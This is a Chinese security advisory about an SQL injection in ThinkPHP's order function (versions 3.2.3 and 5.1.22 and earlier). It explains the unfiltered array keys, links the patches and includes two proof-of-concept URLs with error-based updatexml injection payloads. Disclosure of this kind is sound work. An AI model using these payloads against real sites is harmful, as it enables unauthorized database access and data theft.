ThinkPHP order函数SQL注入 - 高危

技术 作者:知安 2018-08-30 08:06:10

安全预警

漏洞:

ThinkPHP order函数SQL注入

等级:

高危

影响范围:

ThinkPHP 3.2.3、5.1.22及以下版本

漏洞描述:

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,ThinkPHP在处理order by排序时,当排序参数可控且为关联数组(key-value)时,由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入。

修复方案:

升级至最新版本 ThinkPHP 3.2.3补丁地址: https://github.com/top-think/thinkphp/commit/3f97fa89843e98780abf14f08b731856417cf88e ThinkPHP 5.1.22补丁地址: https://github.com/top-think/framework/commit/673e505421b25bdee2f02b668e5fd1ac79a3d190

漏洞利用(POC):

ThinkPHP 3.2.3 访问如下URL即可进行漏洞利用:
http://127.0.0.1/ThinkPHP/?order[updatexml(1,concat(0x3a,user()),1)]=1
  ThinkPHP 5.1.22
http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
 

来源:

银河安全实验室 https://mp.weixin.qq.com/s/pGqLOhVVxJU1Quv2sVgihg

2018年8月29日

ThinkPHP介绍 ﹀ ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。 ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。 作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注您的业务逻辑。

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接
百度热搜榜
排名 热点 搜索指数